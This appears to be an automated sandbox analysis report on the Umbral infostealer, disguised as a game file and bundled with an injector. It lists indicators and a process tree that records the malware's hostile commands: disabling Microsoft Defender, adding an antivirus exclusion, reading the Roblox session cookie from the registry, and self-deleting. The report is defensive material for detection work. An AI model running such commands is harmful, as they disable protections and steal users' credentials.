Analysis

  • max time kernel
    149s
  • max time network
    103s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-01-2025 16:56

General

  • Target

    CounterAttack1.3.07.exe

  • Size

    4.0MB

  • MD5

    768fac5fc9b1a6723ec5e88643cfa69b

  • SHA1

    ecadbe36d1526e2564eda430956b23d41b08e41a

  • SHA256

    98d6a942ccc041bb0534b401fef09d82b4d2a4690673c325217457e625e6259b

  • SHA512

    e4219e87335cccf156828c9271b6e619fc2f3ad848eb3a82ddc683679efb86e4575b2c0325ede1f3a06a533cb5bbdce75bd227ff46ee309902ba7e1554411690

  • SSDEEP

    49152:NNEVtO1U1y1DDDDDD7Llngq7NNMqU0p2Vhk9aQNEVtO1U1y1DDDDDD7Llngq7NN0:NNEVJyZlng4p2VeNEVJyZlng4p2VMg

Malware Config

Signatures

  • Detect Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CounterAttack1.3.07.exe
    "C:\Users\Admin\AppData\Local\Temp\CounterAttack1.3.07.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3572
    • C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe
      "C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2728
      • C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.07.exe
        "C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.07.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1176
    • C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
      "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3792
    • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3856
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:3404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3300
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3760
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3420
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2440
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:2784
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3596
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1656
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:3120
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:3572

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        88be3bc8a7f90e3953298c0fdbec4d72

        SHA1

        f4969784ad421cc80ef45608727aacd0f6bf2e4b

        SHA256

        533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

        SHA512

        4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        2b2890cc5ac7d1e30277a2ccf69e87c4

        SHA1

        061e93fec8664db444803862b52c4f48449ca316

        SHA256

        0126a1be3d2f9d2cc57881de2166b88d3a39de18c83bb5fbc7a9b11ff586f330

        SHA512

        2a8131533c09342b6c4e759336f7f0f005aa48280139d69664745d1e23a2654e7617a56a6c7c85f7eee73653913edab19e239d3e5a99f82f1e5f8c313f6ff3f9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        2979eabc783eaca50de7be23dd4eafcf

        SHA1

        d709ce5f3a06b7958a67e20870bfd95b83cad2ea

        SHA256

        006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903

        SHA512

        92bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        f4bf3ca8753d6bb9725419fec1ec74b9

        SHA1

        71fce9d17d1d92873236a9a827c52eb9e4827f3d

        SHA256

        ca8697e4ada4c3d4aac2899b8aad4052ccd605fccee05ee0a831368bde2f7417

        SHA512

        a55a107ae8bcf833ea674413c765cd55096146c9634dff41884fcc851c12fe47753308099525c99ae44883facfb668c8b292dd915263f34ebd1190391cb28a54

      • C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.07.exe

        Filesize

        9KB

        MD5

        26abb9e459e5976f658ce80d6433f1b1

        SHA1

        3c8f02c1cf7b8ae82be3deea4b360497f6fee1c3

        SHA256

        60cc77b5d4210cef0a9032908b179142f212155426fdae48055c5f72811f7a12

        SHA512

        c2c02aa1db8036c7309100bb683ec7708fedfb129d763d86e03d9d6adc3688423ec04cb5b596eaf99300787f90d641e53350e1ceed0e8b11d6f29333e04b4ce8

      • C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe

        Filesize

        1.9MB

        MD5

        69bead9cc091be0dffb03708ee18466c

        SHA1

        5c4940dddd513a8f75745d63f21fe53d9b22de49

        SHA256

        3e23ae22cb0d4e7ba836cc3f26ad73a51ff9c2987944f08c6120aeefc608d69b

        SHA512

        03ef8a187c7dd31979728d4a1fd544998f756df9f4af1e64d743f56ca42be648feac440246ff280cb7935cec2b5ecd500b2be69da47d6c598f3434f4c47a5f65

      • C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe

        Filesize

        1.9MB

        MD5

        ec801a7d4b72a288ec6c207bb9ff0131

        SHA1

        32eec2ae1f9e201516fa7fcdc16c4928f7997561

        SHA256

        b65f40618f584303ca0bcf9b5f88c233cc4237699c0c4bf40ba8facbe8195a46

        SHA512

        a07dd5e8241de73ce65ff8d74acef4942b85fc45cf6a7baafd3c0f9d330b08e7412f2023ba667e99b40e732a65e8fb4389f7fe73c7b6256ca71e63afe46cdcac

      • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

        Filesize

        231KB

        MD5

        69ac49033ce70c49a4615c5f32d3786e

        SHA1

        e8088b02cf9c84c027854bf0a8c042764a53ee07

        SHA256

        a233572b6ff043e804d6f2b8fb8e3a076d0e6558e723ad9d2a64e8811e129605

        SHA512

        5456504e8e85afdb6a65570890440f85be458fceaf1c5831c3a5669335170ca290809d7741550377e2bb22c4e7b73828886757149158fb152d4be1a6051787a3

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1ukm5ux.e3u.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1176-44-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/2728-43-0x0000000000400000-0x00000000005EC000-memory.dmp

        Filesize

        1.9MB

      • memory/3300-48-0x000001D1D76E0000-0x000001D1D7702000-memory.dmp

        Filesize

        136KB

      • memory/3572-29-0x0000000000400000-0x0000000000809000-memory.dmp

        Filesize

        4.0MB

      • memory/3792-46-0x000000001E330000-0x000000001E36C000-memory.dmp

        Filesize

        240KB

      • memory/3792-45-0x000000001BCB0000-0x000000001BCC2000-memory.dmp

        Filesize

        72KB

      • memory/3792-34-0x0000000000C80000-0x0000000000E66000-memory.dmp

        Filesize

        1.9MB

      • memory/3792-32-0x00007FFB33813000-0x00007FFB33815000-memory.dmp

        Filesize

        8KB

      • memory/3792-135-0x00007FFB33813000-0x00007FFB33815000-memory.dmp

        Filesize

        8KB

      • memory/4708-35-0x00007FFB33810000-0x00007FFB342D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4708-74-0x00000287A5D10000-0x00000287A5D86000-memory.dmp

        Filesize

        472KB

      • memory/4708-75-0x000002878D280000-0x000002878D2D0000-memory.dmp

        Filesize

        320KB

      • memory/4708-76-0x000002878D200000-0x000002878D21E000-memory.dmp

        Filesize

        120KB

      • memory/4708-33-0x000002878B570000-0x000002878B5B0000-memory.dmp

        Filesize

        256KB

      • memory/4708-113-0x000002878D240000-0x000002878D24A000-memory.dmp

        Filesize

        40KB

      • memory/4708-114-0x000002878D2D0000-0x000002878D2E2000-memory.dmp

        Filesize

        72KB

      • memory/4708-134-0x00007FFB33810000-0x00007FFB342D1000-memory.dmp

        Filesize

        10.8MB